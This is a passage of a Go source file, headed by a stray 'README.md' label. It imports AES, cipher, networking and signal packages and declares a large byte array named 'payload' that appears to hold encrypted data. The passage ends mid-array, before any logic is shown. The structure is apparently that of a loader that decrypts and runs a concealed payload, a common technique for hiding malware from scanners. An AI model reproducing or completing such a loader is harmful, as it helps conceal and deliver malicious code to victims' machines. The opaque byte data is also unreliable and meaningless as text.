README.md
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package main
import (
"crypto/aes"
"crypto/cipher"
"flag"
"fmt"
"net"
"os"
"os/signal"
"time"
)
var payload = []byte{
0x3b, 0xea, 0x4f, 0xb2, 0x56, 0x10, 0x38, 0x5c, 0xdd, 0x4c, 0xe1, 0x4e, 0x24, 0x30, 0x97,
0xf5, 0x7a, 0x4a, 0xd1, 0xa9, 0xa5, 0x0d, 0x30, 0xfe, 0x6b, 0xa6, 0x07, 0x82, 0x0d, 0x30,
0xae, 0x29, 0x93, 0x2a, 0x32, 0x81, 0xea, 0xc6, 0x17, 0x95, 0x1f, 0xfa, 0xc8, 0x30, 0xdd,
0x74, 0xd0, 0x2c, 0x2f, 0x8b, 0x0c, 0xd2, 0x5f, 0xa2, 0xc0, 0x25, 0x1d, 0xf8, 0xe2, 0xb0,
0x83, 0xd8, 0xfa, 0x11, 0xb6, 0x4b, 0x73, 0x98, 0x60, 0x3a, 0xe5, 0x3b, 0x6e, 0xfe, 0x39,
0xfe, 0xcb, 0x20, 0x87, 0x34, 0x62, 0x5d, 0xfb, 0xeb, 0x68, 0xe0, 0xce, 0x93, 0xd8, 0x25,
0x01, 0x31, 0x8a, 0xa1, 0x68, 0x94, 0x0d, 0x79, 0xd5, 0x49, 0xdd, 0xfe, 0x3e, 0xba, 0x25,
0x85, 0x95, 0x84, 0x3e, 0xa1, 0xac, 0xb2, 0xc9, 0x95, 0x04, 0x32, 0x01, 0xaf, 0x4c, 0xcf,
0x34, 0x21, 0xaf, 0x01, 0x31, 0x6d, 0xdf, 0x91, 0x39, 0xdf, 0xe4, 0xd7, 0x79, 0x8e, 0xce,
0xf3, 0x26, 0xb2, 0x6a, 0x3d, 0xdc, 0x96, 0xe0, 0xdd, 0x34, 0xf4, 0xf9, 0x77, 0xe5, 0xf5,
0x53, 0x8a, 0x19, 0x7c, 0x68, 0x9c, 0xeb, 0xa5, 0x3b, 0xff, 0xeb, 0xee, 0xa3, 0x18, 0x41,
0xa8, 0x84, 0x29, 0x69, 0x0f, 0xfe, 0x99, 0xf9, 0x68, 0x35, 0xb6, 0x88, 0xe0, 0x1f, 0x43,
0xdf, 0x61, 0xc1, 0x19, 0x7b, 0xce, 0x4d, 0x6a, 0xd8, 0x85, 0x22, 0x37, 0x8e, 0x17, 0x74,
0xb1, 0x03, 0x59, 0x03, 0xa7, 0x65, 0x9a, 0x4f, 0xc1, 0x64, 0xd8, 0x97, 0x26, 0x99, 0x18,
0xaa, 0x64, 0x19, 0xb0, 0x40, 0x1f, 0x41, 0xaa, 0xe5, 0xa4, 0x13, 0x1f, 0x96, 0x44, 0xce,
0x01, 0x4c, 0x4d, 0x48, 0x7e, 0x2e, 0x2b, 0x7b, 0x93, 0x86, 0x33, 0x1f, 0x44, 0xda, 0xcf,
0xa3, 0x2a, 0x84, 0x5f, 0x70, 0xbd, 0x76, 0x62, 0x2a, 0xdf, 0x47, 0x12, 0xfd, 0x24, 0xa3,
0x4b, 0xe6, 0x88, 0xe1, 0x78, 0xd0, 0x46, 0x57, 0x2b, 0x32, 0x3d, 0x6b, 0xd3, 0xa4, 0x61,
0xd7, 0x17, 0x46, 0x6a, 0x4f, 0x54, 0xaf, 0xda, 0x06, 0x5c, 0xc9, 0x16, 0x6c, 0xa7, 0x3e,
0x6b, 0x7f, 0x52, 0x07, 0xed, 0xe9, 0x42, 0x14, 0x9d, 0x09, 0x7a, 0x1a, 0x37, 0x27, 0xf6,
0x34, 0xa9, 0x23, 0x42, 0x21, 0xb3, 0x2a, 0xa8, 0xb1, 0x83, 0xc8, 0x2b, 0x56, 0x3f, 0x2b,
0x69, 0x52, 0x39, 0x46, 0x7c, 0x00, 0x2b, 0xe1, 0x8e, 0x3f, 0x24, 0xa7, 0xe6, 0x62, 0x25,
0x3d, 0x58, 0xe5, 0x98, 0xcc, 0x42, 0x08, 0x6b, 0x25, 0x2d, 0x09, 0x9f, 0x8d, 0xce, 0xfc,
0x42, 0x92, 0x48, 0xc4, 0xa9, 0xb8, 0x3c, 0xca, 0x99, 0x83, 0x6f, 0xfa, 0xd2, 0xef, 0xa2,
0x30, 0x2a, 0xa1, 0xef, 0x8d, 0xc5, 0xfb, 0xaa, 0x06, 0xec, 0x7d, 0x3d, 0x31, 0x79, 0xc0,
0xef, 0xc1, 0xa6, 0x66, 0xcb, 0xbe, 0x96, 0x85, 0xe3, 0x92, 0xf5, 0xab, 0x55, 0xba, 0x57,
0x09, 0xd1, 0x9c, 0x4e, 0x30, 0x5d, 0xc1, 0x3a, 0x7b, 0x49, 0x1d, 0xef, 0xc2, 0x22, 0xa4,
0x48, 0xe7, 0x74, 0xc5, 0x20, 0xca, 0x3b, 0x96, 0xd9, 0xb9, 0x15, 0x22, 0x39, 0x10, 0x20,
0x85, 0xe1, 0xc4, 0xf5, 0xe5, 0x22, 0x47, 0xde, 0xb5, 0x34, 0x35, 0x15, 0x55, 0xd7, 0x9a,
0x1f, 0x17, 0x1e, 0xc7, 0xe4, 0xa6, 0x1f, 0x96, 0x98, 0x4a, 0xb3, 0xbf, 0x3a, 0xfe, 0x6b,
0xc8, 0xa4, 0xd6, 0xcd, 0x4f, 0x9c, 0xa3, 0x42, 0xd2, 0x15, 0xe4, 0x62, 0xa0, 0xf0, 0xfb,
0x6d, 0x55, 0xe6, 0xc4, 0xe9, 0xc0, 0x6d, 0x88, 0x4e, 0x19, 0xb9, 0xa1, 0xef, 0x40, 0x88,
0x4e, 0xc7, 0x6a, 0xac, 0x73, 0x5e, 0xfb, 0x4f, 0x89, 0x74, 0xeb, 0x2a, 0xde, 0x16, 0xc1,
0xc4, 0x77, 0x09, 0x22, 0x59, 0x3a, 0xf8, 0x88, 0x03, 0xcd, 0x31, 0xa0, 0x24, 0x50, 0xe6,
0x8a, 0x48, 0xb1, 0x26, 0x57, 0x8d, 0xa8, 0xe5, 0x05, 0x80, 0x84, 0x71, 0x58, 0x30, 0x20,
0x78, 0xd4, 0xa6, 0xc7, 0x35, 0x86, 0x20, 0xea, 0x8d, 0xfb, 0x65, 0x06, 0x4c, 0x20, 0x6e,
0x06, 0x1d, 0x94, 0xed, 0x0f, 0xaa, 0x71, 0x1d, 0x9b, 0xce, 0xf2, 0x82, 0x39, 0x3f, 0xc4,
0xf0, 0xfc, 0xab, 0x7b, 0x9c, 0x35, 0xcb, 0xcc, 0x90, 0x62, 0xe4, 0x1e, 0x22, 0xcc, 0x75,
0x6d, 0xc8, 0x4b, 0x18, 0x47, 0x61, 0xa3, 0xc8, 0x6a, 0x22, 0x7e, 0x5b, 0xbd, 0xc4, 0x55,
0xae, 0xb9, 0x95, 0x9d, 0x36, 0x93, 0x67, 0x9c, 0x45, 0x2f, 0xe1, 0xc4, 0xff, 0xaa, 0xfc,
0x4e, 0x46, 0x86, 0xe5, 0x71, 0x6f, 0xe0, 0x01, 0x26, 0x90, 0x32, 0xdc, 0x95, 0xf4, 0xfa,
0xcc, 0xf6, 0xa9, 0xec, 0xa4, 0x52, 0x0a, 0xc7, 0xf4, 0xeb, 0x2f, 0xfd, 0xd0, 0x86, 0xf6,
0x00, 0xb0, 0xd6, 0x4c, 0xde, 0x48, 0x0b, 0xce, 0xec, 0x07, 0x2b, 0xa0, 0x73, 0x7a, 0xe0,
0x71, 0xec, 0x4c, 0x65, 0x61, 0xbe, 0x8c, 0xe1, 0x31, 0xbc, 0x8c, 0xac, 0xae, 0x81, 0x3f,
0xf3, 0x6a, 0x08, 0x59, 0x01, 0xe3, 0x25, 0x9a, 0xaf, 0x7a, 0x62, 0x9d, 0xad, 0x7e, 0xd0,
0xe3, 0xe5, 0xa9, 0x32, 0x9f, 0x10, 0xc4, 0x7f, 0x8b, 0x31, 0xfc, 0x51, 0x1d, 0x47, 0xae,
0x27, 0xb8, 0x6e, 0x31, 0xe6, 0xe1, 0x5c, 0x3f, 0x91, 0x59, 0x77, 0x82, 0x19, 0x77, 0xac,
0x56, 0x01, 0x95, 0x6c, 0xc1, 0xec, 0xac, 0xa0, 0xd4, 0xb4, 0xcc, 0x29, 0xa2, 0xc9, 0x7a,
0x06, 0x3f, 0x15, 0x92, 0xe9, 0x41, 0x8f, 0xf4, 0x05, 0x4c, 0xe2, 0xa6, 0x5b, 0x05, 0xf2,
0x10, 0x2f, 0xdc, 0xb2, 0x0c, 0xe9, 0x9b, 0x92, 0xb2, 0xa7, 0x0d, 0x1e, 0xaf, 0x73, 0xa5,
0x4d, 0xbd, 0x0b, 0xa7, 0x25, 0x83, 0x9f, 0x6d, 0x04, 0x23, 0x61, 0x85, 0x0c, 0x99, 0xb0,
0x91, 0xce, 0xbd, 0x01, 0xbd, 0xbc, 0x57, 0x48, 0xc6, 0xcb, 0x60, 0xe0, 0x59, 0x6c, 0xab,
0x54, 0x61, 0xa8, 0x3f, 0xd9, 0xdc, 0x3f, 0x4f, 0x8e, 0x56, 0xaa, 0x02, 0xa8, 0x63, 0x8b,
0xc1, 0x44, 0x0f, 0x8b, 0x4d, 0xa5, 0x2d, 0x6e, 0xa9, 0xc9, 0x63, 0xa5, 0x47, 0xc6, 0xfc,
0xd4, 0x1f, 0xb6, 0x7b, 0x5d, 0x67, 0x07, 0x3f, 0x76, 0xbb, 0xd6, 0x77, 0xdf, 0x4a, 0x87,
0x74, 0x18, 0xa1, 0xe5, 0x06, 0x21, 0xa7, 0x35, 0x00, 0x45, 0x90, 0xcb, 0xfe, 0xe8, 0x6a,
0x40, 0xbd, 0x6c, 0xc7, 0xa4, 0xd4, 0xf5, 0xf5, 0xf1, 0xfc, 0xc1, 0x7a, 0x1d, 0x11, 0xf1,
0xec, 0x47, 0x47, 0x63, 0xc0, 0x3e, 0x04, 0x93, 0x08, 0xe1, 0x57, 0x35, 0xfd, 0xc3, 0x91,
0x87, 0xac, 0x9e, 0x9a, 0xde, 0xef, 0x1e, 0x5b, 0x21, 0x98, 0x71, 0xbf, 0xd4, 0x1e, 0x50,
0xa4, 0x0b, 0x84, 0xbf, 0xf8, 0xab, 0x9a, 0x91, 0xe1, 0x2e, 0xee, 0x95, 0x09, 0xd5, 0x60,
0xca, 0xb2, 0x13, 0xc5, 0xd6, 0xa3, 0x8b, 0xd5, 0xb0, 0xcb, 0x8a, 0xe1, 0x15, 0x84, 0xe8,
0x57, 0x07, 0x37, 0xc6, 0x54, 0x2b, 0x7b, 0x1a, 0x73, 0x1d, 0x3f, 0xea, 0x5e, 0x67, 0x8f,
0x1e, 0xdc, 0xbc, 0xe7, 0xee, 0x79, 0x11, 0xbc, 0x43, 0x73, 0x23, 0x3b, 0x40, 0xb5, 0xf7,
0x9e, 0x9b, 0xfb, 0x8d, 0x91, 0x24, 0xa3, 0xb9, 0x0f, 0x15, 0x26, 0x15, 0x41, 0x12, 0xa2,
0x0f, 0x89, 0x2f, 0x2b, 0x4a, 0xb6, 0xb8, 0x1b, 0x6f, 0x7f, 0x89, 0x76, 0x27, 0xdf, 0x2f,
0x53, 0xec, 0xfb, 0x30, 0x8c, 0x7f, 0xa0, 0x19, 0x58, 0x40, 0x84, 0x69, 0x0d, 0x08, 0x54,
0x54, 0x6e, 0x10, 0x88, 0x4f, 0xa8, 0xa4, 0x61, 0xba, 0x89, 0x82, 0x22, 0x30, 0xb3, 0x1e,
0x5f, 0x15, 0x3e, 0x6a, 0xa4, 0xe5, 0x57, 0x7d, 0x51, 0xa6, 0x75, 0xca, 0x50, 0x64, 0x80,
0x26, 0x1e, 0x4f, 0xd8, 0xc8, 0x11, 0xd6, 0x01, 0xf1, 0xe8, 0xdc, 0x72, 0xaa, 0xd6, 0xd5,
0x9f, 0xed, 0x71, 0x92, 0x35, 0x7e, 0x9c, 0x2e, 0x18, 0xb9, 0x9f, 0xf1, 0x68, 0xd8, 0x11,
0x03, 0xab, 0x86, 0xcf, 0xf8, 0x6a, 0xe0, 0x58, 0xb3, 0xf7, 0x26, 0x98, 0x22, 0x0e, 0xd0,
0x64, 0x50, 0x1a, 0x54, 0x93, 0xcd, 0x9d, 0xcc, 0xe2, 0x18, 0xca, 0x7f, 0xf5, 0xce, 0xe9,
0xc5, 0x67, 0xc7, 0x2e, 0x7a, 0x2f, 0xdd, 0x41, 0x3f, 0x0f, 0x3c, 0x17, 0xa1, 0x82, 0x5b,
0xd5, 0xf9, 0xae, 0xc8, 0x9d, 0x56, 0x7c, 0x2b, 0x4a, 0x6e, 0x42, 0xd2, 0x88, 0x58, 0x52,
0xd4, 0xd6, 0xa4, 0x1f, 0xe9, 0xd5, 0x2d, 0xad, 0x21, 0x05, 0x16, 0x52, 0xab, 0x55, 0x58,
0xa8, 0x7d, 0x26, 0xcc, 0xf7, 0x3f, 0xd7, 0x54, 0xbd, 0x90, 0x2f, 0x53, 0xe1, 0x70, 0xe3,
0xee, 0xea, 0xd8, 0xca, 0x6f, 0x42, 0x3b, 0xe7, 0x4f, 0x8f, 0x53, 0x33, 0xd6, 0xb6, 0x33,
0x00, 0xc5, 0x88, 0x86, 0xff, 0xcd, 0x02, 0xa2, 0xa1, 0x71, 0x91, 0x25, 0x7a, 0xb9, 0x6b,
0x51, 0x3b, 0x57, 0xdf, 0xc5, 0xca, 0xa8, 0x38, 0x90, 0x14, 0xc7, 0x53, 0xd4, 0xbd, 0x50,
0x4e, 0xfe, 0x69, 0x52, 0x05, 0x46, 0xf0, 0x2e, 0x03, 0x56, 0xe8, 0x0d, 0x20, 0xe7, 0x54,
0x30, 0x6f, 0x75, 0x94, 0x6a, 0x1f, 0x76, 0x60, 0x0c, 0x83, 0xca, 0x72, 0xa8, 0x9c, 0x8d,
0xcc, 0xae, 0xda, 0x6e, 0x59, 0x7f, 0xd8, 0x86, 0x0f, 0xe3, 0xb9, 0xc9, 0x42, 0x54, 0xa5,
0x0d, 0x19, 0xc2, 0x95, 0xb5, 0xf1, 0xe1, 0x52, 0x82, 0x97, 0x3d, 0x6b, 0x9a, 0xaa, 0xef,
0x15, 0x3b, 0xd3, 0xba, 0x72, 0x87, 0x1d, 0x60, 0x61, 0x69, 0xe3, 0x37, 0x04, 0x87, 0xdd,
0x88, 0xe4, 0xd8, 0x01, 0x84, 0x56, 0x84, 0x70, 0xea, 0x85, 0x48, 0x13, 0x53, 0x9c, 0xe6,
0x62, 0xf7, 0xf4, 0x96, 0x92, 0x1d, 0x93, 0x5a, 0xd4, 0x17, 0xae, 0x59, 0x0c, 0x04, 0x20,
0xb4, 0xe4, 0x4b, 0x16, 0xbc, 0x05, 0x98, 0xf9, 0x32, 0x92, 0x3e, 0xc4, 0xad, 0x9c, 0x83,
0x2d, 0xc0, 0x2c, 0x2a, 0x94, 0xcc, 0x86, 0x3e, 0xda, 0x91, 0x95, 0x37, 0x2e, 0x4a, 0x6d,
0x6e, 0x28, 0x1c, 0x3f, 0x3d, 0x89, 0xf1, 0x1e, 0xfe, 0xa3, 0xa1, 0xcd, 0x0a, 0x88, 0xaa,
0x73, 0xd1, 0xd2, 0xe3, 0x96, 0xcf, 0xb8, 0xc2, 0x47, 0xfb, 0x31, 0xf0, 0x44, 0x21, 0xab,
0x70, 0x40, 0xac, 0x63, 0xc0, 0x44, 0x1d, 0x76, 0x0c, 0x0e, 0x8d, 0x07, 0x48, 0xd8, 0x7f,
0xa2, 0xec, 0xe9, 0x81, 0x17, 0xae, 0xa6, 0x69, 0xfe, 0xd5, 0x65, 0x0f, 0x03, 0x23, 0x08,
0x50, 0x62, 0x88, 0x8a, 0x88, 0x65, 0x23, 0xb5, 0x9e, 0x05, 0x71, 0x8b, 0x6c, 0xe6, 0x70,
0x8f, 0x86, 0xb4, 0xe3, 0xff, 0x71, 0x24, 0x1f, 0x59, 0x17, 0xb2, 0xb2, 0x42, 0xb3, 0xd9,
0xe7, 0xb4, 0xd8, 0x08, 0xf1, 0xf0, 0x17, 0x24, 0xe1, 0xc8, 0xfc, 0x96, 0xa7, 0x6d, 0x8a,
0x01, 0x05, 0x20, 0x47, 0xc9, 0x2f, 0x05, 0x5a, 0xe9, 0xd7, 0x2d, 0x58, 0xb4, 0x9d, 0x96,
0x40, 0xa2, 0x07, 0x5c, 0x70, 0x80, 0x4d, 0x98, 0x7c, 0x7e, 0x93, 0xec, 0x03, 0x9c, 0x89,
0xa5, 0xcf, 0x1b, 0xe8, 0x53, 0x88, 0x51, 0x9f, 0xa8, 0x19, 0x82, 0xf9, 0x52, 0x2d, 0x4a,
0x5f, 0x70, 0xbf, 0x36, 0x9f, 0xfb, 0xa1, 0x5c, 0x3e, 0x4d, 0xa2, 0xe6, 0x65, 0x46, 0x81,
0x1b, 0x6a, 0x80, 0x87, 0xa9, 0x32, 0xb1, 0x58, 0x73, 0x4e, 0x03, 0xb7, 0x45, 0x66, 0x14,
0x48, 0x3f, 0x06, 0x62, 0x64, 0xf9, 0x27, 0x43, 0xd2, 0xd8, 0x13, 0xc5, 0xb0, 0xc3, 0x24,
0xc0, 0xfe, 0xa1, 0xc7, 0x9d, 0xf1, 0x15, 0x3d, 0x19, 0x35, 0xca, 0xfb, 0xed, 0xd9, 0x07,
0x4c, 0xc8, 0xec, 0xee, 0x97, 0x45, 0xc3, 0x45, 0x8b, 0x8f, 0x7b, 0x2f, 0x77, 0xf2, 0xcf,
0x62, 0xf8, 0xe8, 0x4c, 0xb2, 0xf0, 0x80, 0x13, 0xd0, 0x9b, 0x61, 0x72, 0x8d, 0xaa, 0x14,
0x99, 0xb8, 0x7f, 0x96, 0x88, 0x2a, 0xc1, 0x83, 0x64, 0xb3, 0x7e, 0x6c, 0x2e, 0x04, 0xe7,
0x6e, 0xea, 0x19, 0xd1, 0x3e, 0xad, 0xce, 0x75, 0x91, 0x30, 0x5a, 0x3e, 0xe7, 0xdd, 0xd9,
0x5b, 0x44, 0xd9, 0x60, 0x7c, 0xee, 0xaf, 0xeb, 0x60, 0x71, 0xe1, 0x54, 0x80, 0xdc, 0xda,
0xca, 0x69, 0x67, 0x36, 0x1e, 0xf6, 0xbd, 0x07, 0x92, 0xd9, 0xce, 0x2e, 0x1e, 0x0d, 0xb4,
0x48, 0xba, 0x34, 0xb2, 0x8d, 0xee, 0x34, 0x31, 0x67, 0x8f, 0xc1, 0xc2, 0x05, 0x59, 0x8f,
0x1c, 0x96, 0x81, 0x7c, 0x06, 0x0c, 0x5c, 0x04, 0xd9, 0x25, 0x9d, 0x9b, 0xd8, 0x25, 0xd7,
0x3b, 0x57, 0xf8, 0x7f, 0x84, 0x04, 0xee, 0x73, 0x1a, 0xb3, 0x4b, 0xbf, 0x13, 0x4a, 0xe3,
0x27, 0x56, 0xf8, 0xcc, 0x18, 0x66, 0xd5, 0x50, 0x48, 0x2d, 0x03, 0x23, 0xc7, 0xd1, 0xea,
0x74, 0xc7, 0x93, 0x1d, 0x7e, 0x2d, 0x44, 0x93, 0x54, 0xfa, 0xec, 0xda, 0x01, 0x3c, 0xe0,
0x08, 0x22, 0x62, 0x32, 0x7f, 0xac, 0xe3, 0x7a, 0x97, 0x0f, 0x5b, 0x82, 0x78, 0x78, 0x1c,
0xb7, 0xdd, 0x38, 0x4b, 0x27, 0x09, 0x4e, 0x01, 0x7d, 0xbc, 0x91, 0x3c, 0x6f, 0xd5, 0xe2,
0x2d, 0x19, 0xdf, 0x9e, 0x42, 0x8f, 0x95, 0x71, 0x31, 0xba, 0x6b, 0x70, 0xa6, 0xbc, 0x7b,
0x8a, 0xf7, 0xcc, 0xdb, 0x3d, 0x07, 0xc9, 0x3e, 0xd9, 0xd7, 0xd1, 0x5b, 0xd2, 0xb9, 0x1c,
0xc1, 0xd8, 0xaf, 0x40, 0xb8, 0xed, 0x00, 0x81, 0xc2, 0xfd, 0x6c, 0x3f, 0x9d, 0x85, 0x06,
0x3f, 0x05, 0xdc, 0xd4, 0x7a, 0x35, 0x33, 0x97, 0x65, 0xe8, 0x77, 0x45, 0x9f, 0xce, 0x20,
0xc8, 0x5f, 0x5e, 0xb5, 0x9b, 0xb0, 0x75, 0x6c, 0x20, 0x5a, 0x78, 0x56, 0x0d, 0x94, 0x45,
0xba, 0xa2, 0x1f, 0xb5, 0x03, 0x4d, 0x25, 0x09, 0xed, 0x3f, 0xcc, 0x76, 0x3b, 0x92, 0x94,
0xe6, 0x63, 0x21, 0x6b, 0xae, 0xc5, 0xf6, 0x9e, 0x2b, 0x05, 0x65, 0x66, 0x4c, 0x6d, 0xeb,
0x56, 0xee, 0x97, 0x96, 0xf4, 0x2b, 0x77, 0xb4, 0x68, 0xc9, 0x80, 0xaa, 0x02, 0xd1, 0x0e,
0x9a, 0x58, 0xf5, 0x1f, 0x3d, 0xe8, 0x59, 0x96, 0x0e, 0xf3, 0x96, 0x18, 0xe2, 0xe0, 0x07,
0x7f, 0x28, 0xb5, 0xb8, 0x1a, 0xb4, 0x72, 0xef, 0xb3, 0x36, 0x93, 0x7c, 0x76, 0x58, 0x03,
0x11, 0x71, 0xa4, 0x53, 0xfc, 0x85, 0x70, 0x2f, 0x73, 0xc2, 0xfa, 0x8e, 0x5c, 0xbd, 0x9c,
0x44, 0xfb, 0x3f, 0xcd, 0x0f, 0x15, 0x5e, 0x5a, 0x82, 0xcd, 0x2b, 0xe6, 0x3d, 0x23, 0x8c,
0xa2, 0x78, 0x15, 0x45, 0x1c, 0x4c, 0xc6, 0x65, 0xf5, 0x2e, 0x34, 0x3b, 0x13, 0x4e, 0xfe,
0x9c, 0xd7, 0xe9, 0x62, 0x17, 0x34, 0xd6, 0xc7, 0x5f, 0x02, 0xf1, 0x81, 0x1b, 0x2f, 0x71,
0x2b, 0xa4, 0x29, 0x1c, 0x37, 0xce, 0x0c, 0xc9, 0x53, 0xba, 0x06, 0x83, 0xc0, 0xf7, 0xf7,
0x6c, 0xe0, 0x2d, 0x89, 0x57, 0x7d, 0x49, 0x3b, 0x07, 0xea, 0x0d, 0x30, 0x89, 0xc0, 0xfd,
0xa8, 0x87, 0xfb, 0x4c, 0xa1, 0x5e, 0x84, 0x99, 0x21, 0x9a, 0xe8, 0xf3, 0x1b, 0xb4, 0xca,
0xbc, 0x2d, 0x9a, 0xdb, 0x52, 0xf3, 0xcc, 0x57, 0xcd, 0x04, 0x4c, 0x1e, 0xf8, 0x63, 0xed,
0x1c, 0x34, 0x22, 0x00, 0x72, 0x4b, 0x40, 0x7b, 0xc4, 0xf7, 0xe8, 0x57, 0xc1, 0x4d, 0xa1,
0x5d, 0x38, 0x52, 0x5f, 0x3a, 0xab, 0xf1, 0xe9, 0xec, 0xbf, 0x98, 0xe6, 0x76, 0x49, 0xc5,
0xe8, 0x39, 0xb8, 0x3d, 0x13, 0x36, 0xf3, 0x34, 0xec, 0x9f, 0xa0, 0x73, 0x1b, 0x4b, 0xa1,
0x66, 0xfb, 0x3e, 0xba, 0xb5, 0x9b, 0x0a, 0xbc, 0x27, 0x5a, 0x3f, 0x1c, 0x1e, 0xb3, 0x87,
0xa0, 0xec, 0xb9, 0xe6, 0xac, 0x80, 0x67, 0x5a, 0xa6, 0xf6, 0x3f, 0x9a, 0x75, 0xd1, 0x93,
0x56, 0xd2, 0x81, 0x12, 0x35, 0x27, 0x73, 0xed, 0x07, 0xe4, 0xed, 0x74, 0x8c, 0x6f, 0x72,
0xa7, 0xd8, 0x8f, 0xcd, 0x85, 0xf3, 0x8f, 0xe0, 0x18, 0xfc, 0x88, 0x7a, 0x08, 0x20, 0x22,
0x7e, 0x98, 0x9c, 0x7b, 0x46, 0x64, 0xf9, 0x70, 0xc8, 0x98, 0x4a, 0x44, 0xc8, 0xeb, 0x63,
0xed, 0xdf, 0x04, 0x33, 0x9a, 0x16, 0x5d, 0xb4, 0x6a, 0x53, 0x0c, 0x52, 0x6d, 0x55, 0x6d,
0x75, 0xf5, 0x7b, 0x40, 0x21, 0x27, 0xab, 0xa8, 0x39, 0xea, 0xfd, 0x9a, 0x68, 0x20, 0xc1,
0xb5, 0x98, 0x49, 0xca, 0xd2, 0x92, 0x29, 0xbf, 0xbd, 0xce, 0x80, 0xd9, 0xd6, 0x14, 0x83,
0xb1, 0xaf, 0x79, 0x38, 0x3d, 0xdf, 0xc5, 0x35, 0xae, 0x58, 0x16, 0x35, 0xdc, 0x7d, 0xba,
0x81, 0xba, 0x4e, 0xae, 0x82, 0x44, 0x8b, 0x68, 0x91, 0x63, 0x2d, 0x28, 0x8d, 0xa2, 0x28,
0xc6, 0xec, 0x95, 0x5b, 0x1b, 0x27, 0xdd, 0xc1, 0x2d, 0x66, 0x97, 0x5a, 0xc3, 0xb4, 0x1d,
0x87, 0x80, 0x96, 0xbb, 0xb1, 0xd2, 0x0d, 0x7f, 0x6b, 0xc6, 0x4b, 0xf0, 0x8c, 0xd8, 0x86,
0x82, 0x4f, 0xf8, 0x2e, 0xa8, 0xba, 0x43, 0x31, 0xa8, 0x01, 0x0e, 0xd6, 0x82, 0x4d, 0xb9,
0x18, 0x95, 0x8c, 0xab, 0xda, 0x88, 0xa8, 0xe9, 0x85, 0x75, 0xa2, 0xe5, 0x77, 0xe1, 0x0d,
0x53, 0x4c, 0x0f, 0x7b, 0xbf, 0x42, 0x16, 0x6d, 0x81, 0x67, 0x30, 0x37, 0xb5, 0xad, 0x76,
0xa5, 0xf8, 0x42, 0x5e, 0x97, 0x92, 0x43, 0x1c, 0x62, 0x59, 0xf2, 0xb3, 0xf3, 0x1a, 0x35,
0xba, 0x3c, 0x6c, 0x40, 0x71, 0xd7, 0xa9, 0x86, 0xb4, 0xe6, 0x6f, 0xa3, 0x30, 0x10, 0x66,
0x37, 0x53, 0xe5, 0x91, 0x54, 0x0e, 0x7c, 0x68, 0xa3, 0x64, 0xbe, 0x89, 0xa5, 0xf2, 0xf1,
0x88, 0xa1, 0x77, 0x1a, 0xe6, 0x83, 0x25, 0xde, 0xba, 0x18, 0xe7, 0x02, 0xc4, 0xf9, 0xcb,
0x41, 0x6d, 0x75, 0x6a, 0x02, 0x5e, 0xea, 0x7b, 0xdc, 0x79, 0xa3, 0xa8, 0x45, 0x69, 0x23,
0xf1, 0x35, 0xe3, 0x18, 0x2e, 0x4c, 0x04, 0x69, 0x88, 0xba, 0x13, 0x5a, 0x0f, 0xd1, 0x47,
0x7b, 0x04, 0x08, 0x86, 0xfb, 0xcc, 0xb9, 0xdc, 0x4d, 0x7b, 0x73, 0xfe, 0x89, 0xaf, 0x73,
0xca, 0xe7, 0xc3, 0x53, 0x10, 0x0b, 0xde, 0x5f, 0x60, 0x98, 0x25, 0x57, 0x33, 0x69, 0x7a,
0x10, 0x00, 0xd4, 0xc9, 0x56, 0x77, 0x1b, 0xc5, 0x54, 0x36, 0x8c, 0x22, 0x67, 0x76, 0x42,
0xe8, 0x27, 0x2a, 0xe1, 0x4d, 0x79, 0x16, 0x7c, 0x4f, 0x1f, 0xc7, 0x64, 0xca, 0x46, 0x9e,
0xbf, 0x02, 0x57, 0xbd, 0xe4, 0xc3, 0x29, 0xa7, 0xa1, 0xcb, 0x06, 0x70, 0x12, 0x67, 0x9c,
0x92, 0xcb, 0xb0, 0x44, 0xde, 0x09, 0x5b, 0x24, 0x76, 0x94, 0x8f, 0x1d, 0xeb, 0x3b, 0xbd,
0xc4, 0x64, 0x0b, 0x56, 0x2a, 0x0e, 0x87, 0xbf, 0x48, 0xec, 0x29, 0x5e, 0x1a, 0xa3, 0xa8,
0x51, 0x07, 0x29, 0xf0, 0x55, 0x59, 0x81, 0x4b, 0x53, 0x08, 0x15, 0x6d, 0x62, 0xc9, 0x42,
0x4c, 0x16, 0x6e, 0x73, 0xee, 0xda, 0xee, 0x1f, 0x75, 0x84, 0xbd, 0x39, 0xcd, 0xbb, 0xdc,
0x64, 0xe9, 0xd1, 0xf2, 0xb5, 0x25, 0x0d, 0xa8, 0x3d, 0x3e, 0x66, 0x1f, 0x91, 0xa0, 0x4c,
0xed, 0xfc, 0x90, 0x5c, 0x63, 0xae, 0x7c, 0x5b, 0x09, 0x58, 0xfc, 0x3b, 0x6c, 0x6e, 0xae,
0xbf, 0xd2, 0xca, 0x91, 0xf8, 0x03, 0x37, 0xd4, 0x76, 0x48, 0xec, 0x8b, 0xaa, 0x2e, 0x76,
0x10, 0x61, 0x98, 0x09, 0x64, 0x16, 0xc6, 0x37, 0x2d, 0xc4, 0xa9, 0xff, 0xde, 0x45, 0x73,
0x70, 0x40, 0xfc, 0x76, 0xff, 0xe8, 0xd2, 0xc1, 0x58, 0x85, 0x92, 0x0e, 0xd2, 0xfe, 0xec,
0x9c, 0x3b, 0x25, 0x07, 0x68, 0x33, 0x3d, 0x34, 0xfc, 0x75, 0xe6, 0x5b, 0x18, 0x8d, 0xc4,
0xb3, 0x1c, 0xaf, 0xe2, 0xea, 0xb8, 0x88, 0x62, 0x90, 0x4c, 0x4f, 0xa8, 0x63, 0x58, 0x1d,
0x09, 0xb2, 0x80, 0x7d, 0x0e, 0x53, 0x3c, 0xa3, 0x8c, 0xf3, 0xb0, 0xb6, 0xf1, 0x14, 0x98,
0x68, 0x88, 0xbe, 0xea, 0x70, 0x0f, 0xa3, 0xe9, 0xd8, 0x77, 0x2c, 0xac, 0x0f, 0xaf, 0x3c,
0x42, 0x78, 0x61, 0xf2, 0x88, 0xfa, 0x94, 0x66, 0x1e, 0x7d, 0x03, 0x83, 0xb0, 0xf4, 0xbc,
0x80, 0x58, 0x18, 0x0a, 0xc8, 0xbf, 0x22, 0xd5, 0xa7, 0x21, 0xa8, 0x41, 0xf1, 0xc8, 0xdd,
0x2f, 0xf3, 0x6b, 0xaf, 0xc3, 0x59, 0x1f, 0x03, 0x52, 0xc8, 0x66, 0x52, 0xe1, 0x08, 0xc4,
0x0c, 0xe4, 0x36, 0xf5, 0x53, 0x17, 0x9e, 0x36, 0xde, 0xc3, 0x7a, 0x36, 0x29, 0x81, 0xfe,
